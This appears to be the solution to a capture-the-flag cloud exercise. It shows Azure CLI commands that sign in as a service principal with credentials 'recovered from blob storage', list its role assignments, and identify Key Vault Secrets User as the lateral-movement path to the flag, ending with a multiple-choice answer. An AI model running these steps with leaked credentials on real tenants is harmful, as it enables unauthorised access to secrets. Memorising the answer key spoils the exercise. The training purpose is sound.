Detailed Solution:

Use the app registration credentials recovered from blob storage.

az login --service-principal

-u '<client-id>'

-p '<client-secret>'

--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Confirm that you are authenticated as a service principal:

az account show

Now enumerate role assignments for the app registration.

az role assignment list

--assignee '<client-id>'

--all

--output table

If the --assignee lookup fails, first resolve the service principal object ID:

az ad sp show

--id '<client-id>'

--query id

--output tsv

Then query role assignments by object ID:

SP_OBJECT_ID=$(az ad sp show --id '<client-id>' --query id -o tsv)

az role assignment list

--assignee '$SP_OBJECT_ID'

--all

--output table

The assigned role is:

Key Vault Secrets User

This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.

Final Answer:

A . Key Vault Secrets User

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